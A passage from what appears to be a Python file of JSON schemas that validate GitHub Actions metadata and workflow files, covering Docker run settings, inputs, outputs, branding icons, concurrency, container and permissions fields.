\"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#custom-shell\"\n                                    },\n                                    {\n                                        \"enum\": [\n                                            \"bash\",\n                                            \"pwsh\",\n                                            \"python\",\n                                            \"sh\",\n                                            \"cmd\",\n                                            \"powershell\"\n                                        ]\n                                    }\n                                ]\n                            },\n                            \"uses\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsuses\",\n                                \"description\": \"Selects an action to run as part of a step in your job.\",\n                                \"type\": \"string\"\n                            },\n                            \"with\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepswith\",\n                                \"description\": \"A map of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.\",\n                                \"type\": \"object\"\n                            },\n                            \"name\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsname\",\n                                \"description\": \"The name of the composite run step.\",\n                                \"type\": \"string\"\n                            },\n                            \"id\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsid\",\n                                \"description\": \"A unique identifier for the step. You can use the `id` to reference the step in contexts.\",\n                                \"type\": \"string\"\n                            },\n                            \"if\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsif\",\n                                \"description\": \"You can use the if conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.\\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                                \"type\": \"string\"\n                            },\n                            \"env\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsenv\",\n                                \"description\": \"Sets a map of environment variables for only that step.\",\n                                \"type\": \"object\",\n                                \"additionalProperties\": {\n                                    \"type\": \"string\"\n                                }\n                            },\n                            \"continue-on-error\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error\",\n                                \"description\": \"Prevents a job from failing when a step fails. Set to true to allow a job to pass when this step fails.\",\n                                \"oneOf\": [\n                                    {\n                                        \"type\": \"boolean\"\n                                    },\n                                    {\n                                        \"$ref\": \"#/definitions/expressionSyntax\"\n                                    }\n                                ],\n                                \"default\": False\n                            },\n                            \"working-directory\": {\n                                \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsstepsworking-directory\",\n                                \"description\": \"Specifies the working directory where the command is run.\",\n                                \"type\": \"string\"\n                            }\n                        },\n                        \"oneOf\": [\n                            {\n                                \"required\": [\"run\", \"shell\"]\n                            },\n                            {\n                                \"required\": [\"uses\"]\n                            }\n                        ],\n                        \"additionalProperties\": False\n                    }\n                }\n            },\n            \"required\": [\"using\", \"steps\"],\n            \"additionalProperties\": False\n        },\n        \"runs-docker\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-docker-actions\",\n            \"description\": \"Configures the image used for the Docker action.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"using\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing-2\",\n                    \"description\": \"You must set this value to 'docker'.\",\n                    \"const\": \"docker\"\n                },\n                \"image\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsimage\",\n                    \"description\": \"The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, use a path relative to your action metadata file. The `docker` application will execute this file.\",\n                    \"type\": \"string\"\n                },\n                \"env\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsenv\",\n                    \"description\": \"Specifies a key/value map of environment variables to set in the container environment.\",\n                    \"type\": \"object\",\n                    \"additionalProperties\": {\n                        \"type\": \"string\"\n                    }\n                },\n                \"entrypoint\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsentrypoint\",\n                    \"description\": \"Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT instruction has a *shell* form and *exec* form. The Docker `ENTRYPOINT` documentation recommends using the *exec* form of the `ENTRYPOINT` instruction.\",\n                    \"type\": \"string\"\n                },\n                \"pre-entrypoint\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre-entrypoint\",\n                    \"description\": \"Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. GitHub Actions uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using `pre-if`.\",\n                    \"type\": \"string\"\n                },\n                \"pre-if\": {\n                    \"$ref\": \"#/definitions/pre-if\"\n                },\n                \"post-entrypoint\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post-entrypoint\",\n                    \"description\": \"Allows you to run a cleanup script once the `runs.entrypoint` action has completed. GitHub Actions uses `docker run` to launch this action. Because GitHub Actions runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using `post-if`.\",\n                    \"type\": \"string\"\n                },\n                \"post-if\": {\n                    \"$ref\": \"#/definitions/post-if\"\n                },\n                \"args\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsargs\",\n                    \"description\": \"An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. GitHub passes the `args` to the container's `ENTRYPOINT` when the container starts up.\\nThe `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:\\n- Document required arguments in the action's README and omit them from the `CMD` instruction.\\n- Use defaults that allow using the action without specifying any `args`.\\n- If the action exposes a `--help` flag, or something similar, use that to make your action self-documenting.\",\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"type\": \"string\"\n                    }\n                }\n            },\n            \"required\": [\"using\", \"image\"],\n            \"additionalProperties\": False\n        },\n        \"outputs\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputs\",\n            \"description\": \"Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.\\nIf you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow.\",\n            \"type\": \"object\",\n            \"patternProperties\": {\n                \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_id\",\n                    \"description\": \"A string identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the outputs object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"description\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_iddescription\",\n                            \"description\": \"A string description of the output parameter.\",\n                            \"type\": \"string\"\n                        }\n                    },\n                    \"required\": [\"description\"],\n                    \"additionalProperties\": False\n                }\n            },\n            \"additionalProperties\": False\n        },\n        \"outputs-composite\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-run-steps-actions\",\n            \"description\": \"Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions. For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.\\nIf you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow.\",\n            \"type\": \"object\",\n            \"patternProperties\": {\n                \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_id\",\n                    \"description\": \"A string identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the outputs object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"description\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_iddescription\",\n                            \"description\": \"A string description of the output parameter.\",\n                            \"type\": \"string\"\n                        },\n                        \"value\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#outputsoutput_idvalue\",\n                            \"description\": \"The value that the output parameter will be mapped to. You can set this to a string or an expression with context. For example, you can use the steps context to set the value of an output to the output value of a step.\",\n                            \"type\": \"string\"\n                        }\n                    },\n                    \"required\": [\"description\", \"value\"],\n                    \"additionalProperties\": False\n                }\n            },\n            \"additionalProperties\": False\n        }\n    },\n    \"else\": {\n        \"properties\": {\n            \"outputs\": {\n                \"$ref\": \"#/definitions/outputs\"\n            }\n        }\n    },\n    \"if\": {\n        \"properties\": {\n            \"runs\": {\n                \"properties\": {\n                    \"using\": {\n                        \"const\": \"composite\"\n                    }\n                }\n            }\n        }\n    },\n    \"properties\": {\n        \"name\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#name\",\n            \"description\": \"The name of your action. GitHub displays the `name` in the Actions tab to help visually identify actions in each job.\",\n            \"type\": \"string\"\n        },\n        \"author\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#author\",\n            \"description\": \"The name of the action's author.\",\n            \"type\": \"string\"\n        },\n        \"description\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#description\",\n            \"description\": \"A short description of the action.\",\n            \"type\": \"string\"\n        },\n        \"inputs\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputs\",\n            \"description\": \"Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.\",\n            \"type\": \"object\",\n            \"patternProperties\": {\n                \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id\",\n                    \"description\": \"A string identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the inputs object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"description\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_iddescription\",\n                            \"description\": \"A string description of the input parameter.\",\n                            \"type\": \"string\"\n                        },\n                        \"deprecationMessage\": {\n                            \"description\": \"A string shown to users using the deprecated input.\",\n                            \"type\": \"string\"\n                        },\n                        \"required\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_idrequired\",\n                            \"description\": \"A boolean to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.\",\n                            \"type\": \"boolean\"\n                        },\n                        \"default\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_iddefault\",\n                            \"description\": \"A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file.\",\n                            \"type\": \"string\"\n                        }\n                    },\n                    \"required\": [\"description\"],\n                    \"additionalProperties\": False\n                }\n            },\n            \"additionalProperties\": False\n        },\n        \"outputs\": {\n            \"$comment\": \"Because of `additionalProperties: False`, this empty schema is needed to allow the `outputs` property. The `outputs` subschema is determined by the if/then/else keywords.\"\n        },\n        \"runs\": {\n            \"oneOf\": [\n                {\n                    \"$ref\": \"#/definitions/runs-javascript\"\n                },\n                {\n                    \"$ref\": \"#/definitions/runs-composite\"\n                },\n                {\n                    \"$ref\": \"#/definitions/runs-docker\"\n                }\n            ]\n        },\n        \"branding\": {\n            \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#branding\",\n            \"description\": \"You can use a color and Feather icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in GitHub Marketplace.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"color\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#brandingcolor\",\n                    \"description\": \"The background color of the badge.\",\n                    \"type\": \"string\",\n                    \"enum\": [\n                        \"white\",\n                        \"yellow\",\n                        \"blue\",\n                        \"green\",\n                        \"orange\",\n                        \"red\",\n                        \"purple\",\n                        \"gray-dark\"\n                    ]\n                },\n                \"icon\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#brandingicon\",\n                    \"description\": \"The name of the Feather icon to use.\",\n                    \"type\": \"string\",\n                    \"enum\": [\n                        \"activity\",\n                        \"airplay\",\n                        \"alert-circle\",\n                        \"alert-octagon\",\n                        \"alert-triangle\",\n                        \"align-center\",\n                        \"align-justify\",\n                        \"align-left\",\n                        \"align-right\",\n                        \"anchor\",\n                        \"aperture\",\n                        \"archive\",\n                        \"arrow-down-circle\",\n                        \"arrow-down-left\",\n                        \"arrow-down-right\",\n                        \"arrow-down\",\n                        \"arrow-left-circle\",\n                        \"arrow-left\",\n                        \"arrow-right-circle\",\n                        \"arrow-right\",\n                        \"arrow-up-circle\",\n                        \"arrow-up-left\",\n                        \"arrow-up-right\",\n                        \"arrow-up\",\n                        \"at-sign\",\n                        \"award\",\n                        \"bar-chart-2\",\n                        \"bar-chart\",\n                        \"battery-charging\",\n                        \"battery\",\n                        \"bell-off\",\n                        \"bell\",\n                        \"bluetooth\",\n                        \"bold\",\n                        \"book-open\",\n                        \"book\",\n                        \"bookmark\",\n                        \"box\",\n                        \"briefcase\",\n                        \"calendar\",\n                        \"camera-off\",\n                        \"camera\",\n                        \"cast\",\n                        \"check-circle\",\n                        \"check-square\",\n                        \"check\",\n                        \"chevron-down\",\n                        \"chevron-left\",\n                        \"chevron-right\",\n                        \"chevron-up\",\n                        \"chevrons-down\",\n                        \"chevrons-left\",\n                        \"chevrons-right\",\n                        \"chevrons-up\",\n                        \"circle\",\n                        \"clipboard\",\n                        \"clock\",\n                        \"cloud-drizzle\",\n                        \"cloud-lightning\",\n                        \"cloud-off\",\n                        \"cloud-rain\",\n                        \"cloud-snow\",\n                        \"cloud\",\n                        \"code\",\n                        \"command\",\n                        \"compass\",\n                        \"copy\",\n                        \"corner-down-left\",\n                        \"corner-down-right\",\n                        \"corner-left-down\",\n                        \"corner-left-up\",\n                        \"corner-right-down\",\n                        \"corner-right-up\",\n                        \"corner-up-left\",\n                        \"corner-up-right\",\n                        \"cpu\",\n                        \"credit-card\",\n                        \"crop\",\n                        \"crosshair\",\n                        \"database\",\n                        \"delete\",\n                        \"disc\",\n                        \"dollar-sign\",\n                        \"download-cloud\",\n                        \"download\",\n                        \"droplet\",\n                        \"edit-2\",\n                        \"edit-3\",\n                        \"edit\",\n                        \"external-link\",\n                        \"eye-off\",\n                        \"eye\",\n                        \"facebook\",\n                        \"fast-forward\",\n                        \"feather\",\n                        \"file-minus\",\n                        \"file-plus\",\n                        \"file-text\",\n                        \"file\",\n                        \"film\",\n                        \"filter\",\n                        \"flag\",\n                        \"folder-minus\",\n                        \"folder-plus\",\n                        \"folder\",\n                        \"gift\",\n                        \"git-branch\",\n                        \"git-commit\",\n                        \"git-merge\",\n                        \"git-pull-request\",\n                        \"globe\",\n                        \"grid\",\n                        \"hard-drive\",\n                        \"hash\",\n                        \"headphones\",\n                        \"heart\",\n                        \"help-circle\",\n                        \"home\",\n                        \"image\",\n                        \"inbox\",\n                        \"info\",\n                        \"italic\",\n                        \"layers\",\n                        \"layout\",\n                        \"life-buoy\",\n                        \"link-2\",\n                        \"link\",\n                        \"list\",\n                        \"loader\",\n                        \"lock\",\n                        \"log-in\",\n                        \"log-out\",\n                        \"mail\",\n                        \"map-pin\",\n                        \"map\",\n                        \"maximize-2\",\n                        \"maximize\",\n                        \"menu\",\n                        \"message-circle\",\n                        \"message-square\",\n                        \"mic-off\",\n                        \"mic\",\n                        \"minimize-2\",\n                        \"minimize\",\n                        \"minus-circle\",\n                        \"minus-square\",\n                        \"minus\",\n                        \"monitor\",\n                        \"moon\",\n                        \"more-horizontal\",\n                        \"more-vertical\",\n                        \"move\",\n                        \"music\",\n                        \"navigation-2\",\n                        \"navigation\",\n                        \"octagon\",\n                        \"package\",\n                        \"paperclip\",\n                        \"pause-circle\",\n                        \"pause\",\n                        \"percent\",\n                        \"phone-call\",\n                        \"phone-forwarded\",\n                        \"phone-incoming\",\n                        \"phone-missed\",\n                        \"phone-off\",\n                        \"phone-outgoing\",\n                        \"phone\",\n                        \"pie-chart\",\n                        \"play-circle\",\n                        \"play\",\n                        \"plus-circle\",\n                        \"plus-square\",\n                        \"plus\",\n                        \"pocket\",\n                        \"power\",\n                        \"printer\",\n                        \"radio\",\n                        \"refresh-ccw\",\n                        \"refresh-cw\",\n                        \"repeat\",\n                        \"rewind\",\n                        \"rotate-ccw\",\n                        \"rotate-cw\",\n                        \"rss\",\n                        \"save\",\n                        \"scissors\",\n                        \"search\",\n                        \"send\",\n                        \"server\",\n                        \"settings\",\n                        \"share-2\",\n                        \"share\",\n                        \"shield-off\",\n                        \"shield\",\n                        \"shopping-bag\",\n                        \"shopping-cart\",\n                        \"shuffle\",\n                        \"sidebar\",\n                        \"skip-back\",\n                        \"skip-forward\",\n                        \"slash\",\n                        \"sliders\",\n                        \"smartphone\",\n                        \"speaker\",\n                        \"square\",\n                        \"star\",\n                        \"stop-circle\",\n                        \"sun\",\n                        \"sunrise\",\n                        \"sunset\",\n                        \"tablet\",\n                        \"tag\",\n                        \"target\",\n                        \"terminal\",\n                        \"thermometer\",\n                        \"thumbs-down\",\n                        \"thumbs-up\",\n                        \"toggle-left\",\n                        \"toggle-right\",\n                        \"trash-2\",\n                        \"trash\",\n                        \"trending-down\",\n                        \"trending-up\",\n                        \"triangle\",\n                        \"truck\",\n                        \"tv\",\n                        \"type\",\n                        \"umbrella\",\n                        \"underline\",\n                        \"unlock\",\n                        \"upload-cloud\",\n                        \"upload\",\n                        \"user-check\",\n                        \"user-minus\",\n                        \"user-plus\",\n                        \"user-x\",\n                        \"user\",\n                        \"users\",\n                        \"video-off\",\n                        \"video\",\n                        \"voicemail\",\n                        \"volume-1\",\n                        \"volume-2\",\n                        \"volume-x\",\n                        \"volume\",\n                        \"watch\",\n                        \"wifi-off\",\n                        \"wifi\",\n                        \"wind\",\n                        \"x-circle\",\n                        \"x-square\",\n                        \"x\",\n                        \"zap-off\",\n                        \"zap\",\n                        \"zoom-in\",\n                        \"zoom-out\"\n                    ]\n                }\n            },\n            \"additionalProperties\": False\n        }\n    },\n    \"required\": [\"name\", \"description\", \"runs\"],\n    \"then\": {\n        \"properties\": {\n            \"outputs\": {\n                \"$ref\": \"#/definitions/outputs-composite\"\n            }\n        }\n    },\n    \"type\": \"object\"\n}\n\n\ngha_workflow = {\n    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions\",\n    \"$schema\": \"http://json-schema.org/draft-07/schema\",\n    \"additionalProperties\": False,\n    \"definitions\": {\n        \"architecture\": {\n            \"type\": \"string\",\n            \"enum\": [\"ARM32\", \"x64\", \"x86\"]\n        },\n        \"branch\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestbranchestags\",\n            \"$ref\": \"#/definitions/globs\",\n            \"description\": \"When using the push and pull_request events, you can configure a workflow to run on specific branches or tags. If you only define only tags or only branches, the workflow won't run for events affecting the undefined Git ref.\\nThe branches, branches-ignore, tags, and tags-ignore keywords accept glob patterns that use the * and ** wildcard characters to match more than one branch or tag name. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet.\\nThe patterns defined in branches and tags are evaluated against the Git ref's name. For example, defining the pattern mona/octocat in branches will match the refs/heads/mona/octocat Git ref. The pattern releases/** will match the refs/heads/releases/10 Git ref.\\nYou can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches:\\n- branches or branches-ignore - You cannot use both the branches and branches-ignore filters for the same event in a workflow. Use the branches filter when you need to filter branches for positive matches and exclude branches. Use the branches-ignore filter when you only need to exclude branch names.\\n- tags or tags-ignore - You cannot use both the tags and tags-ignore filters for the same event in a workflow. Use the tags filter when you need to filter tags for positive matches and exclude tags. Use the tags-ignore filter when you only need to exclude tag names.\\nYou can exclude tags and branches using the ! character. The order that you define patterns matters.\\n- A matching negative pattern (prefixed with !) after a positive match will exclude the Git ref.\\n- A matching positive pattern after a negative match will include the Git ref again.\"\n        },\n        \"concurrency\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"group\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#example-using-concurrency-to-cancel-any-in-progress-job-or-run-1\",\n                    \"description\": \"When a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled.\",\n                    \"type\": \"string\"\n                },\n                \"cancel-in-progress\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#example-using-concurrency-to-cancel-any-in-progress-job-or-run-1\",\n                    \"description\": \"To cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"boolean\"\n                        },\n                        {\n                            \"type\": \"string\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/expressionSyntax\"\n                        }\n                    ]\n                }\n            },\n            \"required\": [\"group\"],\n            \"additionalProperties\": False\n        },\n        \"configuration\": {\n            \"oneOf\": [\n                {\n                    \"type\": \"string\"\n                },\n                {\n                    \"type\": \"number\"\n                },\n                {\n                    \"type\": \"boolean\"\n                },\n                {\n                    \"type\": \"object\",\n                    \"additionalProperties\": {\n                        \"$ref\": \"#/definitions/configuration\"\n                    }\n                },\n                {\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"$ref\": \"#/definitions/configuration\"\n                    }\n                }\n            ]\n        },\n        \"container\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"image\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerimage\",\n                    \"description\": \"The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a registry name.\",\n                    \"type\": \"string\"\n                },\n                \"credentials\": {\n                    \"$comment\": \"https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainercredentials\",\n                    \"description\": \"If the image's container registry requires authentication to pull the image, you can use credentials to set a map of the username and password. The credentials are the same values that you would provide to the `docker login` command.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"username\": {\n                            \"type\": \"string\"\n                        },\n                        \"password\": {\n                            \"type\": \"string\"\n                        }\n                    }\n                },\n                \"env\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerenv\",\n                    \"$ref\": \"#/definitions/env\",\n                    \"description\": \"Sets an array of environment variables in the container.\"\n                },\n                \"ports\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainerports\",\n                    \"description\": \"Sets an array of ports to expose on the container.\",\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"oneOf\": [\n                            {\n                                \"type\": \"number\"\n                            },\n                            {\n                                \"type\": \"string\"\n                            }\n                        ]\n                    },\n                    \"minItems\": 1\n                },\n                \"volumes\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainervolumes\",\n                    \"description\": \"Sets an array of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.\\nTo specify a volume, you specify the source and destination path: <source>:<destinationPath>\\nThe <source> is a volume name or an absolute path on the host machine, and <destinationPath> is an absolute path in the container.\",\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"type\": \"string\",\n                        \"pattern\": \"^[^:]+:[^:]+$\"\n                    },\n                    \"minItems\": 1\n                },\n                \"options\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontaineroptions\",\n                    \"description\": \"Additional Docker container resource options. For a list of options, see https://docs.docker.com/engine/reference/commandline/create/#options.\",\n                    \"type\": \"string\"\n                }\n            },\n            \"required\": [\"image\"],\n            \"additionalProperties\": False\n        },\n        \"defaults\": {\n            \"type\": \"object\",\n            \"properties\": {\n                \"run\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"shell\": {\n                            \"$ref\": \"#/definitions/shell\"\n                        },\n                        \"working-directory\": {\n                            \"$ref\": \"#/definitions/working-directory\"\n                        }\n                    },\n                    \"minProperties\": 1,\n                    \"additionalProperties\": False\n                }\n            },\n            \"minProperties\": 1,\n            \"additionalProperties\": False\n        },\n        \"permissions\": {\n            \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#permissions\",\n            \"description\": \"You can modify the default permissions granted to the GITHUB_TOKEN, adding or removing access as required, so that you only allow the minimum required access.\",\n            \"oneOf\": [\n                {\n                    \"type\": \"string\",\n                    \"enum\": [\"read-all\", \"write-all\"]\n                },\n                {\n                    \"$ref\": \"#/definitions/permissions-event\"\n                }\n            ]\n        },\n        \"permissions-event\": {\n            \"type\": \"object\",\n            \"additionalProperties\": False,\n            \"properties\": {\n                \"actions\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"checks\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"contents\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"deployments\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"discussions\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"id-token\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"issues\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"packages\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"pages\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"pull-requests\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"repository-projects\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"security-events\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                },\n                \"statuses\": {\n                    \"$ref\": \"#/definitions/permissions-level\"\n                }\n            }\n        },\n        \"permissions-level\": {\n            \"type\": \"string\",\n            \"enum\": [\"read\", \"write\", \"none\"]\n        },\n        \"env\": {\n            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/environment-variables\",\n            \"description\": \"To set custom environment variables, you need to specify the variables in the workflow file. You can define environment variables for a step, job, or entire workflow using the jobs.<job_id>.steps[*].env, jobs.<job_id>.env, and env keywords. For more information, see https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv\",\n            \"oneOf\": [\n                {\n                    \"type\": \"object\",\n                    \"additionalProperties\": {\n                        \"oneOf\": [\n                            {\n                                \"type\": \"string\"\n                            },\n                            {\n                                \"type\": \"number\"\n                            },\n                            {\n                                \"type\": \"boolean\"\n                            }\n                        ]\n                    }\n                },\n                {\n                    \"type\": \"string\",\n                    \"pattern\": \"^\\\\$\\\\{\\\\{\\\\s*(secrets|inputs)\\\\s*\\\\}\\\\}$\"\n                },\n                {\n                    \"type\": \"string\",\n                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/expressions#fromjson\",\n                    \"pattern\": \"^\\\\$\\\\{\\\\{\\\\s*fromJSON\\\\(.*\\\\)\\\\s*\\\\}\\\\}$\"\n                }\n            ]\n        },\n        \"environment\": {\n            \"$comment\": \"https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idenvironment\",\n            \"description\": \"The environment that the job references\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"$comment\": \"https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#example-using-a-single-environment-name\",\n                    \"description\": \"The name of the environment configured in the repo.\",\n                    \"type\": \"string\"\n                },\n                \"url\": {\n                    \"$comment\": \"https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#example-using-environment-name-and-url\",\n                    \"description\": \"A deployment URL\",\n                    \"type\": \"string\"\n                }\n            